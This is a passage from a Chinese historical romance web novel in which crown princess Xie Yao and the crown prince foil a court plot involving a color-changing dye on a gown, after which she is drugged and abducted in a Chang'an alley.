乞丐中最为年长的那位老者,认出了谢杳的马车,面露喜色,“姑娘,你又来了。”
谢杳莞尔,吩咐棠梨将带来的炭火和吃食分发给他们。
“阿姊长得真好看!”一个年岁不大的孩童软糯糯地说道。
谢杳俯下身,摸了摸她的脸颊。
元序站在她的身后,温柔地注视着她,眼中满是笑意。
年长的老者将谢杳引进庙内,轻声说道:“姑娘,我有个不情之请。”
“老丈,您但说无妨。”
“姑娘大恩,我等无以为报,本不该再劳烦姑娘,可我们实在别无他法。”
老者眼含热泪,目光移向门口蹦蹦跳跳的孩童,继续说道:“这孩子体弱,跟着我们,恐难能捱过这个严冬,姑娘可否能收留她,让她在你府上做个侍女,也好过被活活冻死啊!”
谢杳有些犹豫,她自己如今的境况也是危机四伏,若是收容下这个孩子,不知对这个年幼的孩童来说是福是祸。
“可否容我同那位公子商量一下?”
谢杳抬手,指了指元序。
“他可是姑娘的夫君?”
“不……”
“我是他夫君。”元序扬声打断了谢杳的话。
谢杳瞋目望向元序,示意他不要乱说。
“老丈,您可曾问过这孩子的意愿?”元序正色道。
老者沉默不语,面露难色。
“昭昭,你意下如何?”元序侧目望向谢杳。
谢杳犹豫不决,“我如今的处境,对这孩子来说,也不知是福是祸。”
“昭昭是想要收容她的,对吧?”
谢杳神色微动,凝眸望向元序。
元序转而面向长者,“老丈,若这孩子愿意,我们便带她回府。”
“阿翁,我不要!”那孩童嚎啕大哭,使劲摇着头。
“丫头,你不能一直跟着我们,你还有很长的路要走!”
老者别过头,擦干脸上的眼泪,“这位姑娘是个良善之人,心怀大义,跟着她,你定能有个好出路。”
“去吧,孩子。”乞丐们纷纷出声劝道。
那孩童哭得泪眼朦胧,跌跌撞撞地走向谢杳。
谢杳蹲下来,柔声对她说道:“向他们磕个头吧。”
孩童闻言,缓缓跪在地上,对着乞丐们,磕了三个头。
谢杳扶起小小的孩童,将她抱了起来,郑重地说道:
“请各位放心,谢杳定不负所托。”
谢杳?乞丐中的一个少年蓦地想到什么,脱口而出:“你是……太子妃?”
其余的乞丐疑惑不已,纷纷看向少年。
少年猛地跪地,“东市的流民提到过这个名讳,谢姑娘便是太子妃。”
乞丐们闻言一惊,连忙跪地叩拜。
“谢太子!谢太子妃!”老者扬声致谢。
乞丐们又是一惊,很快会意,能与太子妃比肩的男子,除了太子,又能是何人呢。
“诸位不必谢孤,这些炭火、衣食,都是太子妃亲力亲为。孤久居宫中,不知民间疾苦至此,幸而有太子妃,才不至于寒了大晟百姓的心。”
元序神情真挚,与谢杳目光交汇。
情不知所起,一往而深。谢杳忽然想到这句话。
她心念微动:江宁过往,长安数载,不得不承认,世事变幻,早已超出了她的预想。
前路会如何?
她不知晓。
但可以笃定的是,并肩同行之人,她已经遇到了。
13. 第十二卷·一一风荷举
朔风呼啸,吹得车帷翻飞,不时露出一道缝隙。
谢杳搂紧怀中的孩童,理了理斗篷,将那孩童包裹住,避免她着凉。
元序挪了挪位置,向谢杳靠近,抬手将自己的斗篷盖在她身上。
那孩童怯生生地开口:“我不冷的。阿兄,阿姊不要冻着。”
元序和谢杳闻言,皆笑出了声。
“孤还没来得及问,你叫什么名字啊?”元序温声问道。
那孩童摇了摇头,“我没有名字。”
元序轻叹,抬眸望向谢杳,“昭昭,你为她起个名字吧。”
谢杳思量了片刻,缓缓开口:“人生实难万圆,小满即可心安。就叫小满吧。”
靠在她怀中的孩童高兴地拍了拍手,欢呼道:“太好了!我有名字了!”
谢杳恬然一笑,摸了摸小满的头。
“昭昭,若不是你,我恐怕一直不知,长安城内竟还有这么多流离失所之人。”元序面露愁容。
“殿下不必自责。纵使海晏河清,也总有人会生在泥泞之中。天下为公的愿景,是万世之功业,非一朝一夕可见成效。”谢杳出言劝慰。
“上位者居于庙堂,远隔民生,对于百姓之艰辛,犹管中窥豹,扪烛扣盘,都是徒劳。”
谢杳轻轻摇头,“殿下若是这样想,就是妄自菲薄了。身居庙堂,自当忧其民,大晟不免才德兼备之士,定能做到见微知著。山不让尘,川不辞盈,上位者若能始终怀有这份爱民之心,便不会行差踏错,终能建立太平盛世。”
“昭昭所言甚是,我记下了。”元序神色认真,微微点头。
谢杳顿了顿,继续说道:“其实,我能发现他们,与殿下有着莫大的关系。”
元序很是惊诧。
“去年中秋,我们同太傅一道去曲江池赏月,在去的路上,我偶然看到的。”
元序没再作声,他凝眸望向谢杳,心中感叹:除却昭昭,这世间还能有谁与他这般心意相通。太子妃之位,惟她当得起,任何人都无法替代。
数九寒天一天天过去,长安城捱过了最为寒冷的一个隆冬,迎来新岁。
元序和谢杳辗转在坊市之间,太子和太子妃的事迹也随之流传在长安的大街小巷。
枯木逢春,一切终于尘埃落定。
***
元序下了朝,急急忙忙地出了宫。
忙碌了一整月的谢杳,不慎染了风寒,又因过度劳累,陷入昏迷,至今已有两日。
“昭昭如何了?”
元序一进府,就向前来迎他的棠梨询问道。
“小姐醒了。”棠梨面露喜色。
元序闻言,加快了脚步。
“殿下怎么来了?”
谢杳望见来人,艰难地坐起身。
元序三步并作两步跑上前,扶住谢杳,让她倚靠在自己的怀中。
“你昏迷了两日,须得好好休养。”
谢杳虚弱地抬手,晃了晃元序的手臂,“殿下扶我躺下吧。”
元序小心翼翼地扶着谢杳躺好,柔声叮嘱:“我去看看药煎好没有,你乖乖躺好,不要乱动。”
谢杳笑着点了点头。
谢府的东厨内,香气缭绕,药盏坐于炉上细火慢煎。元序立在炉旁,不时扇了扇手中的蒲扇。
“殿下,小姐请殿下过去。”棠梨伸手,准备接过蒲扇。
“左右无事,孤亲自看着。”
棠梨摇头,“小姐此举就是不想殿下太过辛苦,毕竟殿下这些时日也都没有好好休息过。”
见棠梨态度坚决,元序不再坚持,他放下蒲扇,快步出了东厨。
穿过回廊时,他忽然发现院中的海棠树只剩下一段光秃秃的树干。
究竟是何时折断的呢?他再三回忆,仍无法确定。
世事无常,有些东西,不经意间,就消失殆尽了。
“昭昭,待你痊愈,我们在院中再种一棵海棠树吧。”
元序坐到塌边,将被子给谢杳盖好。
“好。”谢杳恬然一笑。
***
入夏后,日子一天比一天暖和。
谢杳因之前生病,养成了个习惯:她常常在午后坐到院中,晒晒太阳,理理花草,休养生息。
这天,她一如往常来到院中,刚一坐下,就听见门外沸沸扬扬的,喧闹得很。
她快步走出府门,想看个究竟。
谢府门前挤满了人,他们大都衣衫褴褛,有些是长安城内的乞丐,有些是流民。
见谢杳出来,他们纷纷跪地叩拜,齐声喊道:“多谢太子妃!太子妃高义!”
“大家快起来!”谢杳连忙上前,扶起面前的几个人,又抬手示意让他们起来。
她深深动容,声音哽咽,“各位不必谢我,谢杳不过只是尽了些绵薄之力,身为大晟的子民,我义不容辞。”
“得太子妃如此,是大晟之幸啊!”“天佑大晟!”
谢杳躬身,向众人作揖行礼。
此事几经辗转,在当日黄昏传到了宫里,最终,传到了圣上耳中。
翌日早朝,圣上于太极殿内勃然大怒,训斥百官无能。又当着他们的面大肆夸赞了太子和太子妃,赏赐二人黄金千两,布帛百匹和各色奇珍异宝。
退朝后,元序带着几车的赏赐,来到谢府。
谢杳站在中堂,无奈地望着满堂的箱子,叹了口气。
“太子妃如今可是名满京城!”元序打趣道。
谢杳瞥了他一眼,“太子殿下,你我彼此彼此。”
“事已至此,何故多忧?”元序拿起帷帽给谢杳戴好,“我们出去走走,心绪自然就好了。”
不等谢杳出声,元序就拉着她走出府去。
“殿下要带我去哪儿?”
“先去东市,再去西市。”
“这路线听着怎么有些耳熟?”谢杳喃喃道。
元序故作漫不经心,“是吗?昭昭带旁人走过?”
谢杳恍然,“不是旁人,是阿宇。”
“你怎么还像儿时那般唤他?”
谢杳忍俊不禁,“我与他从小一起长大,早就将他视作兄长,若是忽然换了称呼,那才奇怪呢。”
元序侧头望向窗外,偷偷扬起唇角。
“苏木,我们直接去西市。”谢杳扬声交代道。
“谨遵太子妃之命。”
苏木和棠梨相视一笑,面上都难掩喜色。
他们抵达西市时,恰好赶上昼食。
四人转了一圈,最终来到了萧记馄饨铺。
谢杳有些犹豫,抬手又放下,不知是否该摘下帷帽。
待小二上菜时,元序掀起她帽上的帷纱,谢杳猛地低头。
“你看,没事的。”元序声音温润。
谢杳小心翼翼地抬头,环顾四周,并没有人认出她。
“快吃吧。”
谢杳轻轻点头,展颜一笑。
用完昼食,谢杳拉着元序走到柳记糕铺门前。
“昭昭没吃饱?”
谢杳摇头,“听说柳记的点心出了新样式,我想带殿下尝尝。”
元序闻言一笑,“那昭昭告诉我是哪一样,我去买。”
“叫……叫什么来着?”
棠梨忍俊不禁,替她说道:“水晶龙凤糕。”
谢杳随声附和,“对!就是叫水晶龙凤糕。”
苏木本想替元序去买,却被他拦下。
堂堂大晟太子,就这样为了心悦之人亲自排队,只为让自己的太子妃品尝到新式的糕点。
这份情谊,世间难得。
“殿下可否同我再去一个地方?”
谢杳临上马车前,忽然开口。
“昭昭想去哪儿?”
“城南,慈恩寺。”
棠梨闻言,面色一改,“小姐怎么还要去那里?”
谢杳拍了拍棠梨的肩膀
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,以示安慰。
“我想去那里,上一柱香。”
“既然昭昭想去,我便陪你一起。”
言罢,元序伸手将谢杳扶上马车。
马车穿过朱雀大街,渐渐驶向城南。
苏木小声向棠梨问道:“长安的寺庙这么多,太子妃为何偏偏要去慈恩寺?”
棠梨摇了摇头,“这个问题,上次去时我便问过小姐。”
苏木见棠梨不再作声,疑惑地又问:“所以是为何?”
“小姐没有回答。”棠梨无奈地摇了摇头。
“慈恩寺,乃是太祖皇帝为追念其母亲所建。”
谢杳扬声对着车帷外的二人说道。
元序闻言,神色微动。
苏木和棠梨很快会意,默契地不再出声。
马车缓缓停在慈恩寺前,元序和谢杳下了车,并肩走入寺内。
棠梨正欲跟上,却被苏木拦下。他微微蹙眉,望向棠梨,摇头示意。
棠梨会意,停下脚步,轻轻叹了口气。
慈恩寺内,进香的人寥寥无几,与东西市的喧嚣相比,这里是难得的清净。
谢杳放慢脚步,跟在元序身后,“我听姑姑说,殿下常到这里进香。”
“我每次思念母亲,都会到这里来上一柱香。”元序神色忧伤,眼中满是悲凉。
“今日我陪殿下一起,给先皇后上一柱香。”
元序转身,迎上谢杳真挚的目光,一时有些出神。
他曾埋怨命运不公,因为他连母亲的一面都未曾见过;他也曾想要离开长安,离开这个对他来说晦暗如永夜的城池。
可他又何其幸运,他有皇祖父,皇祖母,有虽无血缘却亲如家人的姑姑,有谢杳。是他们,一点一点把他拉出深渊,如溺水之人抓到的一块浮木,如晦暗夜色中的一抹光亮。
回忆中的面容与面前少女的面容渐渐重合,似盎然的春意,涌向他的心中。
谢杳的神情明媚而肆意,一如多年前那般,凝眸望向他。
元序缓缓展露出一个笑容,他伸手拉住谢杳的手腕,与她并肩走入殿内。
二人一同上前进香,跪在佛像前,诚心祈愿。
谢杳双手合十,心中默念,“先皇后在上,愿您庇佑大晟,庇佑太子殿下,岁岁年年,占得欢娱。”
“母亲,孩儿之前同您说过,我已有心悦之人。今日我同她一起,前来看您。愿母亲护佑,元子启愿与昭昭一世相偕,共白头。”
元序侧头,静静地凝望着谢杳,他神色温柔,眸中盛满深情。
“离这儿不远就是曲江池,昭昭要不要去看看。”
元序与谢杳并肩走出慈恩寺,抬手给她指了指曲江池的方向。
谢杳眸光一闪,“好。”
仲夏的曲江池畔,微风徐徐,传来阵阵清凉。引得不少游人前来,信步游乐,消食解暑。
元序和谢杳避开人群,沿着小路,走到之前他们来过的那处水榭中。
水榭连着曲江池的那一片,长满了莲荷,每一株都清润圆正,挺立在碧波之上。
元序的目光从白中透粉的莲荷移到谢杳的身上,他扬唇一笑,“昭昭这身衣裳,倒是与它们相映成趣。”
“殿下的意思是,我也是一株莲荷喽?”谢杳俏皮地眨了眨眼,“那殿下是什么?”
元序指了指池中的一片碧绿,“荷叶。”
谢杳摇了摇头,“殿下可不是荷叶。”
“那昭昭觉得是什么?”
“殿下更像是一枝白梅。”谢杳神情认真,“冰雪林中著此身,不同桃李混芳尘。”
二人目光交汇,心照不宣,默契地转身望向远处的风景。
白梅与莲荷,一冬一夏,盛放在截然不同的两个季节,却是一样的清雅高洁,遗世独立。
可橘生淮南,落北为枳。
长安的莲荷,终是撑不过整个夏令,在秋意来临前,便一一枯萎了。
14. 第十三卷·万国朝宗
朔光十七年立春,万国来朝,盛况空前。
朱雀大街挤满了前来朝会的人,长安城内的百姓也都纷纷出门,一睹这千载难逢的胜景。
来自西域各国的使臣衣着各异,携着举世罕见的各色珍宝,随着队伍,向承天门走去。
谢杳站在观礼的人群后面,抱着小满,踮着脚。
“阿姊,他们穿的衣裳跟我们的都不一样!”
小满感到新奇不已,激动地说道。
谢杳闻言,忍俊不禁,点头附和。
棠梨的目光快速扫过人群,很快发现了身着浅粉色翻毛斗篷的自家小姐。
她疾步走上前,伸手将小满抱到自己的怀中。
谢杳见她神色匆匆,心领神会,同她一起移步到一处没人的地方。
棠梨伏在谢杳的耳边,轻声说道:“宫里来了人,请小姐今晚入宫赴宴。”
谢杳眉头微蹙,沉声道:“回府。”
申时正刻,谢杳入了宫。
前来接引她的是太后宫中的赵嬷嬷,谢杳不疑有他,随她一道朝大殿走去。
“赵嬷嬷,这不是去慈宁宫的路吗?”
谢杳见方向不对,出声问道。
赵嬷嬷闻言一笑,“太子妃说得没错,太后娘娘给您作了身衣裳,特命老奴前来,先带您更衣,再前往大殿。”
谢杳浅笑,“既如此,就劳烦嬷嬷了。”
谢杳换好衣裳,快步赶在酉时前进了大殿。
她一身藕荷色浮光锦长裙,在夜色下微微泛光,如碧波荡漾起的涟漪,灵动惹眼。
“昭昭这身衣裳不错。”元序微微侧身,用只有他们二人能听见的声音,对谢杳说道。
“这身衣裳是皇祖母赏赐的。”
“怪不得。”元序恍然,“这颜色也很衬你。”
谢杳微微一笑,不再出声,其实她并不喜爱这个颜色。
“这位是皇子妃?怎么跟太子这般亲近?”
“休要胡言乱语!坐在太子旁的还能是何人,自是太子妃。”
“那怎的与二皇子衣裳颜色一样?”
坐在二人对面解苏国的几位使臣小声嘀咕道。
“太后娘娘到!”
殿内众人纷纷起身,向太后施礼。
“不必多礼。”太后抬手示意众人落座。
她走到谢杳附近,脚步一顿。
“皇祖母近来可好?”谢杳出声问候。
“予一切都好。”太后一脸笑意,上下打量着她,“杳杳这身衣裳不错,予还是第一次见你穿这颜色,与你很是相衬。”
赵嬷嬷在一旁出声提醒,“太后,该落座了。”
“今日你便住在予宫里,陪予解解闷。”
谢杳颔首。
待太后移步,她面色一改,神情凝重地望向元序。
元序亦是面色一沉,“这衣裳有问题。”
他话音刚落,龟兹国的一位使臣便起身见礼,向朔光帝进言:“天可汗,在下曾听闻太子妃义举,心生敬佩。素闻大晟女子擅舞,在下斗胆,请太子妃一舞,让在座的诸位一睹大晟之风姿。”
朔光帝望向谢杳,“太子妃,你可愿意?”
元序蹙眉,伸手拽住正欲起身的谢杳。
谢杳笑着向元序摇头示意,她起身走到大殿中间,朝朔光帝和龟兹国使臣见礼,“龟兹使节此言,未免有失偏颇。大晟之风姿当在圣上和国朝百姓,岂在谢杳?”
谢杳转而面向朔光帝,继续说道:“陛下,臣女不才,自小便不甚擅舞,不若为众宾弹奏一曲,可否?”
朔光帝的脸上堆满了笑意,扬声道:“准了!”
谢杳朝众使臣见礼,而后缓缓坐在琴旁。指间起落,琴音流淌。
琴声袅袅,似山间清泉,清冽空灵,曲调宛转,似涛涛江水,激昂澎湃,最终趋于平静,只余幽幽泛音,留听者于缥缈余韵中,久久回响。
一曲终了,技惊四座。
“此曲名为阳春白雪,谢杳以此贺万邦诸宾,愿我大晟世代清平,万里同风!”
谢杳下巴微扬,声音清脆,响彻殿内。
“我怎么记得昭昭擅舞呢?”元序打趣道。
“殿下现在说,怕也是来不及了。”谢杳俏皮地对着元序眨了眨眼。
元序趁机向她使了个眼色,谢杳很快会意。
她提起酒壶,“谢杳给殿下倒酒。”
元序端起酒杯,递到谢杳面前,懒散地开口:“给孤倒满。”
在她快到满时,元序端着酒杯的手忽地一晃,杯身一斜,脱手掉在了谢杳的身上。
“殿下恕罪。”谢杳慌忙起身,向元序施礼请罪。
“怎么回事?”
太后见谢杳忽然起身,扬声问道。
“回太后,臣女倒酒时不小心洒在了衣衫上。”
元序缓缓起身,“是孤没拿稳,洒在了太子妃身上。”
谢杳见太后神情一敛,欲训斥太子,连忙抢先开口:“还望陛下,太后恕罪,臣女先去换身衣裳。”
“父皇,皇祖母,儿臣送太子妃前去。”
待朔光帝颔首,谢杳同元序一道,出了大殿。
“我的衣裳……在太后宫里。”谢杳面露难色。
“不用去慈宁宫,东宫有给你备着的衣裳。”
元序拉着谢杳,快步向东宫走去。
刚一进东宫,棠梨就发出一声惊呼,谢杳和元序闻声回头,疑惑地望着神色惊慌的棠梨和苏木。
棠梨指了指谢杳的裙角,声音颤抖,“小姐,你的衣裳!”
谢杳低头一看,她斗篷里的衣裙不知何时变成了鹅黄色。
元序解下自己的斗篷,将斗篷盖在谢杳身前,确认将她裹好后,用手臂环着她,快步向南阙阁走去。
南阙阁内整整齐齐地摆了许多箱子,苏木毫不犹豫地走上前,掀开其中的一个箱子,里面满是粉色的衣裙,大大小小的都有,遍及各个年岁。
谢杳和棠梨见状,皆是一怔。
“别管那么多了,先把你身上的衣裳换下来。”
元序叮嘱了一句,转身匆匆离去。
棠梨呆呆地走上前,将箱子里的衣裳一件件拿了出来,很快找到了一件合身的衣裙,为谢杳换上。
蜜粉色苏缎襦裙上,镶着银丝,领口和袖口上都绣着虽不起眼却极为精致的如意云纹和莲花缠枝纹,一点都不比刚换下的那件逊色。
“小姐,这身衣裳更衬你了!”棠梨忍不住连连感叹道。
谢杳不答,她焦急地推开门,唤元序他们进来。
少女明眸皓齿,风姿卓绝。就这样猝不及防地跌入元序的眼眸。
二人目光交汇,心意无声暗涌。
“咳咳——”
苏木清了清嗓子,打断了二人的含情对望。
“太子妃,这衣裳怕是被人涂了千色变。”
谢杳侧头望向苏木,她适才换下来的衣裳,在他手中,又变回了藕荷色。
“千色变是盛产于西域的一种颜料,遇热会发黄,倘若你刚刚穿着它跳了舞,它就会随着你的体温变化而变色。”元序详细地解释道。
“好险。若不是龟兹国使臣出言不逊,我恐怕难逃此劫。”谢杳心有余悸。
“西域的东西出现在长安虽不足为奇,可这千色变凤毛麟
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角,价格昂贵,绝非寻常人家能买得起。”苏木疑惑不已,“太子妃,这衣裳是谁拿给你的?”
“太后宫中的掌事,赵嬷嬷。”谢杳沉声应道。
阁内四下寂静,四人都陷入了沉默之中。
良久,元序蓦地开口:“昭昭,我送你出宫。”
“宴席还未结束,更何况皇祖母那边……”
“皇祖母那边,我替你去解释。”
元序打断了谢杳的话,语气坚决。
“你今日绝不能留在宫里。”
谢杳颔首,跟在元序身后,同他一道出了宫。
马车穿过朱雀大街,向常乐坊的方向驶去。
“赵嬷嬷在皇祖母身边多少年了?”谢杳面露担忧。
元序轻叹:“赵嬷嬷是父皇的乳母,跟在皇祖母身边很多年了。”
“她不会对皇祖母下手吧?”
元序垂眸,“不会。”
谢杳有些不解,又问:“殿下何以如此笃定?”
元序纠结一番,挣扎着开口:“是父皇将她调去慈宁宫的。”
谢杳微怔,又猛地摇头,“不对!”
元序脑中思绪翻涌,他一直陷在父皇忌惮江宁侯府的漩涡之中,因而总是下意识地以为是父皇要对江宁侯府下手。
“圣上若想掩人耳目,不会让赵嬷嬷入局,若是真的想要对江宁侯府下手,今日我根本走不了。”谢杳焦急地说道。
元序面色一凛,“苏木,你先回宫,拿着衣裳去找皇祖母,向她禀明此事。”
“殿下,那你怎么办?”苏木有些犹豫。
“孤送完太子妃便回去。”
“殿下!”
“快去!”
苏木将缰绳递给棠梨,轻轻跃下马车,疾步向马车行进的相反方向跑去。
“有人想借父皇之手,除掉整个江宁侯府。”
元序口中呢喃,陷入深思。
谢杳接过他的话,“还想借此机会,除掉我这个太子妃。”
霎时,元序灵光一现,“这个人应是觊觎太子妃之位。”
谢杳难掩疲惫,长长地叹了口气,“觊觎太子妃之位的人,可不在少数,根本无从查起。”
元序蹙眉,“我总觉得,城郊的黑衣人,段氏一案,煽动流民,变色衣裳,这些都是同一人在背后推波助澜。”
晚风掀起窗帷,寒冷的空气扑面而来,透窗望去,正好能看到东市的一角。
“红尘楼人来人往,想必姑姑能查到一二,明日子夜,我去找她。”谢杳缓缓开口。
元序颔首,“也好。我在宫中,姑姑在宫外,双管齐下,定能找到千色变的出处。”
在她下车前,元序又嘱咐道:“在没查清赵嬷嬷背后之人是谁前,昭昭不要进宫。”
万国朝会持续了十五日,其间歌舞升平,万人空巷。
谢杳每每路过东市熙攘的人潮,都会不自觉地想到:前岁隆冬,饿殍遍地,大晟才转危为安不过一载,便敞开国门,绝非好事。平静之下,实则暗流汹涌。
万国朝会结束的第二日,谢府门前的柳树枝桠上,被系上了一条红色丝带。
棠梨在打扫门庭时发现后,急忙解下丝带,将它拿给谢杳。
谢杳将丝带展平,放在桌案上,定睛一看,那上面洋洋洒洒写了一句诗:谁家玉笛暗飞声。
“传信太子殿下,就说,他一直寻找的那一味香料,我找到了,请他于谢府一见。”
谢杳唇角微扬,心绪也随之舒展。
东风解冻,鸿雁来,草木生。
覆在积雪下的虫豸隐隐涌动,暗中蓄力,等待盎然春意的来临。
15. 第十四卷·夜深知雪重
万国朝会掀起的热潮,随着霖霪的洗涤渐渐隐去,春色在烟雨中阑珊,陷入涳濛。
宫内宫外皆是一片死寂,那个幕后之人,猝然消失,停止了所有动作,日子平静的如同她在江宁时那般。
谢杳本想凭着姑姑给的线索追查下去,却不想又是难以为继。
花朝节那日,她与元序会面,才发现事有蹊跷。在前岁冬至,元序请薛国公出面筹集赈灾款项时,他便已知晓洛阳薛氏的勾当——垄断胡商,牟取暴利。千色变出自薛氏,也算意料之中。
可仅凭一个颜料,还不能断定此事与薛国公府有关,毕竟商品的售卖几经流转,买主出了问题,如何将责任全然付诸于售卖之人身上?更何况千色变本身并不属违禁之物,大晟的律法无从定罪。几番查探下来,终是一无所获,圣上似乎也无意深究,只将赵嬷嬷逐出宫去,此事就此不了了之。
直至九月初九的第二日朝会,薛国公在大殿上当着百官的面忽然请辞,称自己老迈力竭,请求圣上准许他回乡编撰朝史。圣上未出言挽留,决然应允了他的请求。
一时间朝野震动,百官对此皆是满腹狐疑。谢杳和元序却无比明晰:兵、权、钱这三者都是皇室大忌,若薛国公不自请离京,怕是连官位都保不住。
一代重臣落得如此下场,令人唏嘘不已,可究其原因,不过是作茧自缚,咎由自取。
***
风云翻涌,四季更迭,朔光十七年的冬日比以往来得更早了些。
刚一过立冬,就连着下了好几场雪,隐有前岁暴雪成灾的趋势,弄得长安人心惶惶。好在雪下得不大,也没有再继续,旬余过后,就被冬日的阳光,晒得化成了一滩一滩的水洼。
谢杳提起裙摆,小心翼翼地避开地上的水洼,不急不徐地朝东市走去。
永乐公主去岁便已及笄,按礼法也该开府自立,只是皇后舍不得女儿,便多留了一年。正巧薛国公回乡后,为她议了亲,公主府的处所也就定在了洛阳。时至今日,差不多快到她启程的时候了。
元序知晓谢杳与永乐交好,便找了个借口,将永乐公主带出宫,让她们能在红尘楼一聚。
谢杳刚迈进红尘楼,就瞧见一个极为熟悉的面容,她环顾四周,确认无异后,走到那人的跟前,“阿宇,你怎么在这儿?”
陆琼宇认出她的声音后,微微扬唇,“来抓一个旧案的嫌犯,已经处理妥当了。”
谢杳感叹:“少卿大人如今真是愈发威风了。”
陆琼宇有些不好意思地摇了摇头,转而问道:“阿杳是来找……”
还没等谢杳回答,陆琼宇便看见太子领着一个头戴帷帽的女子向他们走了过来。
“陆少卿?”元序有些惊讶,对着向他见礼的陆琼宇点头示意。
陆琼宇见状,很快会意:原来阿杳不是来见姑姑的,而是来见太子殿下。可太子殿下身边这女子又是何人?
“阿杳。”“永乐。”
谢杳和元承双激动地拉住彼此的手,她们自谢杳及笄出宫那年起就没再见过,一时间难掩喜悦之情。
“臣在此办案,碰巧遇到了太子妃。”陆琼宇向元序解释道。
元序面色温润,漫不经心地说道:“陆少卿与昭昭也是许久未见了,不妨留下,一起饮宴。”
陆琼宇本想推辞,却听见谢杳也开口挽留,“阿宇,你若无公事在身,就留下吧。”
他无奈颔首,与他们一道前往三楼雅间。
元承双被红尘楼内外的景色吸引,忍不住感叹道:“本公主竟不知,长安有这般雅致的酒楼。”
“公主今后开了府,就可以畅行于宫外,见一番天地了。”谢杳听出了她话里的情绪,安慰她道。
“知我者,太子妃也。”
元承双端起茶杯,敬向谢杳,二人举杯对饮。
夕阳西下,远处的天际露出一抹绚丽的晚霞,红烬生辉,浮光跃金,透窗照进楼内,仿若天上宫阙。
四人望着这如画般的美景,默契地缄口不语,安静地欣赏着,沉醉着。
江山如画,友人作伴,光阴浓淡相宜,是世间可遇不可求的佳事。
霞光浮动,有些晃眼,元承双微微侧头,偶然发现,她对面的皇兄和陆少卿都时不时地看向谢杳。
她心中好奇:这位陆少卿是何许人也?阿杳在宫里从未提到过他。
元承双轻轻拽了拽谢杳的衣袖,待谢杳回头,她微微倾身伏在谢杳的耳边,用只有她们二人能听见的声音问道:“你和陆少卿认识?”
谢杳颔首,“我与他从小一起长大。”
元承双眼珠一转,露出一个意味深长地笑容,“青梅竹马,也很般配。”
“我只将他视作兄长。”谢杳不忘调侃,“我认识的永乐公主可说不出这样的戏言。”
元承双神色微动,“以前的永乐公主克己守礼,确实说不出,可以后她不想再这样了。”
“那就抛下那些所谓的礼教和束缚,痛痛快快地做最真实的永乐公主吧。”谢杳语调微扬,附和道。
元序的目光扫过她们二人,眼底盛满了笑意,他无奈地轻轻摇头,心想:若是不知道的,还以为二人饮了酒。
陆琼宇亦是满眼笑意,他许久未见谢杳这么肆意的笑过了。这一瞬,好像回到了多年前在江宁的时候。那个时候,只有他陪在她身边,陪她肆意玩闹,尽兴展颜。
天色阑珊,华灯初上,东市渐渐热闹了起来。
相聚的欢乐时光总是短暂,转眼又将分别。
谢杳举杯,“谢杳祝公主,喜至庆来,所愿必得。”
陆琼宇接过她的话,“玉楼祝永乐公主,嘉门福喜,增累盛炽。”
“永乐谢过太子妃,陆少卿。”
四人举杯相碰,一饮而尽。
“咚咚咚——”
一阵急促的叩门声传来,苏木在屋内人应了声后,推开门,快步走到他们面前。
元序眉头微蹙,“何事如此慌张?”
苏木面色凝重,沉声开口:“殿下,端淳公主薨了。”
他话音刚落,楼外钟鼓声接二连三地传来,声音低沉,敲了整整二十七下。
元序面色一凛,“永乐,随孤速速回宫。”
元承双戴好帷帽,连忙起身。
临走前,元序转而望向陆琼宇,叮嘱道:“劳烦陆少卿,务必亲自送昭昭回府。”
“殿下放心。”陆琼宇向他们施礼道别。
谢杳同元序目光交汇,示意他不必担心,元序会意,同元承双一起疾步出了红尘楼。
陆琼宇走到她面前,拦住了正欲去寻人的谢杳,“姑姑不在楼内。”
谢杳停住脚步。
“你忘了?玄明兄明年要参加春闱。”
谢杳恍然,前几日姑姑刚传信给她,她这一着急,竟给忘了。
陆琼宇拿起帷帽递给谢杳,“天色不早了,我先送你回府。”
他与谢杳刚一走出红尘楼,便撞上了前来寻他的下属。
“王司直?”
“陆少卿,您刚抓的那个嫌犯遇害了,上官大人请您立刻回大理寺。”王司直上气不接下气地说道。
陆琼宇面色一凛,很是为难。
“你快去吧,案子要紧。”谢杳出言相劝,“这条路我常走,不会有事的。”
陆琼宇犹豫地点了点头,向她嘱咐道:“夜里行路,务必留心。”
谢杳心不在焉,脚步不由得放慢了很多。
端淳公主如今不过十三岁,也未曾听说过她有什么隐疾,怎会猝然薨世?
棠梨见自家小姐越走越慢,出声提醒:“小姐,照这么走下去,我们何时能回府?”
谢杳闻言,收回思绪,加快了脚步。
“端淳公主的事,小姐可以明日问太子殿下。”棠梨语调一转,“可陆小侯爷的事就不一样了。”
谢杳眼神示意,让她继续说下去。
“我听说大理寺卿脾气可差了,陆小侯爷这次怕是要倒霉了。”棠梨放低声音。
“嫌犯又不是他负责押送的,就算要担责,也不该是他来担。”谢杳露出一个笃定地微笑,“据我所知,这位大理寺卿脾气虽然不好,但为人清正,是个好官。”
棠梨颔首,对小姐的话表示赞同。
她们从东市径直向东,不久便进了常乐坊。
常乐坊西北角的小巷,寂静的瘆人,棠梨忍不住打了个寒噤,下意识加快了脚步。
相比平康坊和宣阳坊这两个达官显贵的聚居地来说,常乐坊显得尤为清净,也正因如此,有一丝一毫的风吹草动都格外分明。
谢杳蓦地脚步一顿,回身拉住棠梨,朝相反的方向走去。
与此同时,巷口走来一群衣衫褴褛的蒙面人,挡住了她们的去路。谢杳回头,发现身后也有一群蒙面人。巷子的两个出口,都被他们堵住了。
她心中生疑:这群蒙面人的装束倒不像是之前慈恩寺路上遇到的那群黑衣人,更像是……乞丐。
“各位若是求财,可同我一道回府,我将钱财拿予各位便是。”谢杳从容开口。
“少唬人了!兄弟们,上!”
那群蒙面人一窝蜂地涌向谢杳和棠梨。
二人见状,也顾不得其他,只好与他们动手。
谢杳在与这群人交手时,发现他们并无定式,都是胡乱地出招,显然不是训练有素的杀手。
无奈他们人实在太多,她躲闪不及,头上的帷帽被迎面而来的人猛地打掉。霎时,那人朝她撒了些白色粉末,她来不及闭气,只觉得眼前一阵眩晕,身子越发无力,勉强坚持着又走了几步,终是忍不住晕了过去。
棠梨艰难地走向小姐,在谢杳被拽进马车后,也失去了意识,晕了过去。
暮色渐沉,雪花飞旋而下,无声无息地飘落着。
宵禁闭市后,巡逻的金吾卫在行至西北角的小巷时,发现了晕倒在地的棠梨,她的身上覆满积雪,面色苍白。
陆琼宇在大理寺堂内见到棠梨时,她还未醒,但好在已无性命之忧。
他舒了口气,努力平
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复着自己的心绪。若是金吾卫再晚到一些,棠梨怕是就要被冻死在巷中了。这般境地,谢杳恐怕也危在旦夕。
陆琼宇猛地转身,向下属交代道:“传令下去,城门戒严,严查出城马车。”
